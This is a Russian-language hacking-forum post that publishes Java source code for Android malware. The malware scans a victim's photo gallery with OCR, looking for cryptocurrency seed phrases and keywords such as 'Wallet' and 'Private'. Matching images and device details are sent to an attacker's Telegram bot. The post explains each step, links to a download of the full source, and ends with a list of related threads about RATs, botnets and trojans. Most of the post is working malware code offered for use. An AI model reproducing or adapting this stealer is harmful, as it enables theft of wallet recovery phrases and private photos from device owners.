Статья Android Malware - Seed Phrase Stealer / OCR / - Source Code

Admin

Администратор

Android Malware - Seed Phrase Stealer / OCR / - Source Code​


Android Malware - Seed Phrase Stealer / OCR / - Source Code

Сегодня статья будет посвящена вирусу на Android, который автоматически ищет seed-фразы в галерее и способен находить другие важные данные, используя паттерны и ключевые слова.

Для этого мы будем использовать библиотеку Google ML Kit — мощный и эффективный инструмент, который будет распознавать текст на изображениях и конвертировать его в понятный для анализа текстовый вид.



Писать будем на Java (A), без серверной части, так как лог будет приходить напрямую в Telegram по bot token и user id.

1.Разрешения:
Для начала нам нужно получить доступ к галерее, где будет происходить поиск seed-фраз. Для этого добавляем в AndroidManifest.xml необходимое разрешение:
Код:
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
2.Запрос разрешения у пользователя в MainActivity.java:
Код:
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_MEDIA_IMAGES}, REQUEST_PERMISSION_CODE);
} else {
scanGalleryForImages();
}

3.Обрабатываем результат запроса:
Код:
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_PERMISSION_CODE) {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
scanGalleryForImages();
} else {
Log.e("Permissions", "Доступ к изображениям отклонён");
}
}
}

Хочу подчеркнуть, что такой метод работает на новых версиях Android 13, 14. Если вы хотите использовать код на более старых версиях (Android 12 и ниже), то вам потребуется другое разрешение:
Код:
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
Логика запроса останется такой же, но с изменённой логикой работы с изображениями. На старых версиях Android заострять внимание не будем, но стоит упомянуть для тех, кто будет тестировать на Android 12 и ниже.

4.Основной код MainActivity.java:
Код:
public class MainActivity extends AppCompatActivity {

private static final String XSS = "https://xss.is/members/377393/";
private static final String EXPLOIT = "https://forum.exploit.in/profile/172574-nmz/";

private Map<String, String> topicIdMap = new HashMap<>();
private static final int REQUEST_PERMISSION_CODE = 101;

private static final String BOT_TOKEN = ""; // Токен бота Telegram
private static final String CHAT_ID = ""; // ID пользователя Telegram

private int keywordCount = 10; // Сколько слов из словаря seed фраз должно совпасть
private Set<String> keywords = new HashSet<>();
private int speedMs = 0; // Задержка перед проверкой следующего изображения
private final List<String> specialKeywords = Arrays.asList("Seed", "phrase", "Mnemonic", "Recovery", "Pass", "Backup", "Key", "Master", "Access", "recovery", "seed", "Initial", "Wallet", "Entry", "Security", "Secret", "Private", "Blockchain", "Data", "protection", "Universal", "backup", "System", "Spare");

BOT_TOKEN и CHAT_ID не нуждаются в объяснении.
Остальные параметры:

keywordCount — Определяет, сколько ключевых слов должно совпасть для обнаружения seed-фразы. Seed-фразы состоят из 12-24 слов, но только 2048 английских слов могут быть частью BIP-39 фразы. Мы используем только английские слова, так как они наиболее распространены.

speedMs — Задержка в миллисекундах перед проверкой следующего изображения.

specialKeywords — Список ключевых слов, которые будут искаться в галерее. Если найдено совпадение, лог с изображением и ключевым словом будет отправлен в Telegram.

4.1.Методы:
Код:
private String getDeviceInfo() {
String model = Build.MODEL;
String androidVersion = Build.VERSION.RELEASE;
return "Device: " + model + ", Android: " + androidVersion;
}

Код передает краткую информацию о устройстве - Модель,Версия Android
Код:
private void loadKeywordsFromFile() {
try {
InputStream inputStream = getResources().openRawResource(R.raw.english);
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
keywords.add(line.trim().toLowerCase());
}
reader.close();
} catch (IOException e) {
Log.e("Keywords", "kaput", e);
}
}


Метод загружает ключевые слова для поиска из файла english.txt (res/raw). Эти ключевые слова будут использоваться для проверки текста,
распознанного с помощью OCR.

Слова добавляются в коллекцию keywords, которая содержит все слова, которые нужно искать в текстах на изображениях.

Теперь самое интересное, методы для сканирования галереи:
Код:
private void scanGalleryForImages() {
ContentResolver contentResolver = getContentResolver();
Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;

String[] projection = {MediaStore.Images.Media._ID, MediaStore.Images.Media.DATA};
Cursor cursor = contentResolver.query(uri, projection, null, null, MediaStore.Images.Media.DATE_ADDED + " DESC");

if (cursor != null) {
try {
List<String> imagePaths = new ArrayList<>();
while (cursor.moveToNext()) {
String imagePath = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA));
imagePaths.add(imagePath);
}

processImagesSequentially(imagePaths);
} finally {
cursor.close();
}
}
}

Отвечает за сканирование галереи устройства, чтобы получить список изображений.
Результаты запроса сортируются по дате добавления и передаются в метод для последовательной обработки изображений processImagesSequentially.
Код:
private void processImagesSequentially(List<String> imagePaths) {
if (imagePaths.isEmpty()) {
return;
}
String imagePath = imagePaths.remove(0);
Uri imageUri = Uri.fromFile(new File(imagePath));
processImageAsync(imageUri);

new android.os.Handler().postDelayed(() -> processImagesSequentially(imagePaths), speedms);
}

Этот метод обрабатывает изображения одно за другим с задержкой, которая задается переменной speedms.
Он извлекает путь к следующему изображению из списка и вызывает метод processImageAsync() для обработки изображения.

(Попытался в многопоток но возникли некоторые проблемы с Google ML Kit)
Код:
private void processImageAsync(Uri imageUri) {
Bitmap bitmap = null;
try {
bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
Bitmap resizedBitmap = Bitmap.createScaledBitmap(bitmap, bitmap.getWidth() / 2, bitmap.getHeight() / 2, false);

recognizeTextFromImage(resizedBitmap, imageUri);
} catch (IOException e) {
Log.e("ProcessImage", "Ошибка обработки изображения", e);
} finally {
if (bitmap != null && !bitmap.isRecycled()) {
bitmap.recycle();
}
}
}

Загружает изображение и уменьшает его размер, чтобы оптимизировать его для распознавания текста. Этот метод также управляет освобождением памяти, чтобы предотвратить утечки памяти.

После обработки изображения вызывается метод recognizeTextFromImage(), который передает уменьшенное изображение на анализ с помощью Google ML Kit
Сделано для оптимизации.
Код:
private void recognizeTextFromImage(Bitmap bitmap, Uri imageUri) {
InputImage image = InputImage.fromBitmap(bitmap, 0);
TextRecognizer recognizer = TextRecognition.getClient(TextRecognizerOptions.DEFAULT_OPTIONS);

recognizer.process(image)
.addOnSuccessListener(result -> {
ArrayList<String> englishWords = extractEnglishWords(result);
boolean foundSpecialKeyword = checkForSpecialKeywords(englishWords);
boolean foundKeyword = checkForKeywords(englishWords);

// Отправляем фото в ТГ только если есть от 12 до 24 слов и найдено ключевое слово
if (englishWords.size() >= 12 && englishWords.size() <= 24 && foundKeyword) {
String deviceInfo = getDeviceInfo();
sendPhotoToTelegram(imageUri, englishWords, deviceInfo + ": от 12 до 24 фраз и " + keywordcount + " из словаря seed фраз");
}


if (foundSpecialKeyword) {
String keyword = findSpecialKeyword(englishWords);
String deviceInfo = getDeviceInfo();
sendPhotoToTelegram(imageUri, englishWords, deviceInfo + ": Найдено ключевое слово: " + keyword);
}
})
.addOnFailureListener(e -> Log.e("Text Recognition", "Ошибка распознавания текста", e));
}

Отвечает за распознавание текста на изображении с использованием Google ML Kit, анализирует изображение, а результат передается в методы для извлечения ключевых слов.

В случае успешного распознавания, результат анализируется для проверки на наличие ключевых слов используемых в seed фразах.
Код:
private ArrayList<String> extractEnglishWords(Text result) {
ArrayList<String> wordsList = new ArrayList<>();
Pattern pattern = Pattern.compile("[a-zA-Z]+");
for (Text.TextBlock block : result.getTextBlocks()) {
Matcher matcher = pattern.matcher(block.getText());
while (matcher.find()) {
wordsList.add(matcher.group().toLowerCase());
}
}
return wordsList;
}

Метод извлекает английские слова с помощью регулярного выражения. Если необходимо работать с текстом на других языках,
можно легко добавить дополнительные регулярные выражения в объект Pattern, адаптировав их под нужные языки.

(Как было сказано выше seed фразы в формате BIP-39 могут быть на других языках)
Код:
private boolean checkForKeywords(ArrayList<String> words) {
int keywordCount = 0;
for (String word : words) {
if (keywords.contains(word)) {
Log.d("Keyword Found", "Найдено ключевое слово: " + word);
keywordCount++;
if (keywordCount >= keywordcount) {
return true;
}
}
}
return false;
}


Проверяет, содержит ли список слов хотя бы одно из ключевых слов из коллекции keywords.
Если найдено достаточно ключевых слов (определяется переменной keywordcount), метод возвращает true, что инициирует отправку данных в Telegram.


И, наконец, отправка данных в Telegram:
Код:
private void sendPhotoToTelegram(Uri imageUri, ArrayList<String> words, String caption) {
try {
File file = new File(getCacheDir(), "image.jpg");
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
FileOutputStream fos = new FileOutputStream(file);
bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos);
fos.flush();
fos.close();

if (bitmap != null && !bitmap.isRecycled()) {
bitmap.recycle();
}

OkHttpClient client = new OkHttpClient();
RequestBody requestBody = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("chat_id", CHAT_ID)
.addFormDataPart("photo", "image.jpg", RequestBody.create(MediaType.parse("image/jpeg"), file))
.addFormDataPart("caption", caption)
.build();

Request request = new Request.Builder()
.url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
.post(requestBody)
.build();

client.newCall(request).enqueue(new okhttp3.Callback() {
@Override
public void onFailure(okhttp3.Call call, IOException e) {
Log.e("Telegram", "Ошибка отправки сообщения", e);
}

@Override
public void onResponse(okhttp3.Call call, Response response) throws IOException {
if (response.isSuccessful()) {
Log.d("Telegram", "збс");
} else {
Log.e("Telegram", "не збс: " + response.message());
}
}
});

} catch (IOException e) {
Log.e("Telegram", "Ошибка отправки файла", e);
}
}


После выполнения кода вам придёт лог следующего вида:



После выполнения кода вам придёт лог, содержащий информацию о модели устройства, версии Android и подписью с описанием того, что именно нашёл код.


Всем спасибо за внимание! Надеюсь, статья была интересна для прочтения.
Если у вас возникли вопросы или есть дополнения, буду рад ответить на них в комментариях под постом.

Ссылка на скачивание словаря через github - https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt
Ссылка на скачивание Source-Code через send.exploit.in - https://send.exploit.in/download/31af7741dae1d09a/#VqBSjQtLaoQi8RatW4hTEA
 
Похожие темы
Admin Malware Developments for android Полезные статьи 0
Support81 Каждый Android под полным контролем. Новости в сети 0
Support81 Android-троян мутировал. Новости в сети 0
Support81 Телефон против владельца: как Android помогает хакерам воровать криптовалюту Новости в сети 0
Support81 Android пропускает атаку в фоне, пока ты читаешь эту новость Новости в сети 0
Support81 PIN-код для свободы: новый Android-шпион категорически против своего удаления Новости в сети 0
Support81 Фото, крипта, пароли: троян SparkCat крадёт личные данные с Android и iOS Новости в сети 0
Support81 Android.Vo1d: хакеры проникают в дома через ТВ-приставки Новости в сети 0
Multi-VPN Интересно aTox и TRIfA мессенджеры твоей мечты для Android Полезные статьи 0
Multi-VPN aTox и TRIfA мессенджеры твоей мечты для Android Анонимность и приватность 0
Support81 Snowblind: хакеры злоупотребляют «слепым пятном» в защитной системе Android Новости в сети 0
E SAPHIRA - ANDROID BOTNET Готовый софт 0
Support81 Новый троян Brokewell превращает Android-смартфон в инструмент слежки Новости в сети 0
Support81 VPN – ловушка для Android: как приложения превращают смартфоны в зомби Новости в сети 0
Support81 PixPirate: невидимый мародёр Android-устройств в Бразилии Новости в сети 0
Emilio_Gaviriya Статья Защита конфиденциальности: Как сбросить данные на Android в экстренных ситуациях. Полезные статьи 0
Support81 Кто стоит за Agent Racoon? Тайный хакер, который атакует Android и угрожает мировой безопасности Новости в сети 0
Support81 Вирус с Уолл-Стрит: приложения для займов тайно крадут данные 12 млн. пользователей Android Новости в сети 0
Support81 Android-троян SpyNote записывает аудио и телефонные звонки Новости в сети 0
Support81 Тысячи Android-устройств поставляются с предустановленным неубиваемым бэкдором Новости в сети 0
Support81 Telegram как минное поле: новая угроза для пользователей Android Новости в сети 0
Denik Интересно Найден Android-троян, ворующий данные из 378 приложений Новости в сети 1
adflak Создание, разработка, продвижение мобильных приложений в Иркутске iOS/Android заказать! Ищу работу. Предлагаю свои услуги. 0
N Нужен хороший RAT для Android. Предоставляю работу. Ищу специалиста. 2
H Начальная оборона Android Полезные статьи 0
Admin Как узнать местоположение человека по фото [ANDROID] Анонимность и приватность 11
Anorali Интересно Как использовать Xploitspy для взлома телефонов Android? Полезные статьи 6
B Ищем Android разработчика! Предоставляю работу. Ищу специалиста. 0
K Интересно Samsung galaxy a70 Android 10 Свободное общение 5
Eteriass СОЗДАЕМ BACKDOOR ДЛЯ ANDROID Вирусология 18
Denik Интересно Трояны для слежки под Windows, macOS, Linux, Android, iOS Анонимность и приватность 0
Denik Интересно Бесплатный интернет на Android Уязвимости и взлом 3
L Интересно Мошенники вымогают «штрафы» у пользователей Android от имени ФБР Новости в сети 0
M Безопасность на Android Уязвимости и взлом 0
E Интересно Превращаем обычный смартфон с Android в настоящий Windows Полезные статьи 0
GhosTM@n Интересно Android Janus - APK Signature Bypass (****sploit) THROOT Полезные статьи 1
E Android PC Botnet Installs exe,apk Услуги дизайнеров и веб-разработчиков. 0
S Атаки: 800 000 россиян стали жертвами банковского Android-ботнета Новости в сети 1
S Xhelper продолжает заражать Android Новости в сети 3
S Loki Bot 2.0 Android Banker Botnet Готовый софт 3
S SpyNote v2 (RAT для Android'а) Готовый софт 5
E 49 скрытых команд Android Раздачи и сливы 3
W BOOM для IOS / Android [бесплатно] Полезные статьи 0
A Взлом Android Предоставляю работу. Ищу специалиста. 2
O Тысячи Android-приложений могут содержать RCE-уязвимость Новости в сети 0
S Android load (Загрузки) Трафик: загрузки, инсталы, ads 1
B продажа android инсталов Трафик: загрузки, инсталы, ads 0
Admin Jabber на android для безопасного общения Анонимность и приватность 7
Admin Срочное уничтожение данных на Android Анонимность и приватность 3
V Продажа Android/Desktop траффика с бирж Трафик: загрузки, инсталы, ads 0

Название темы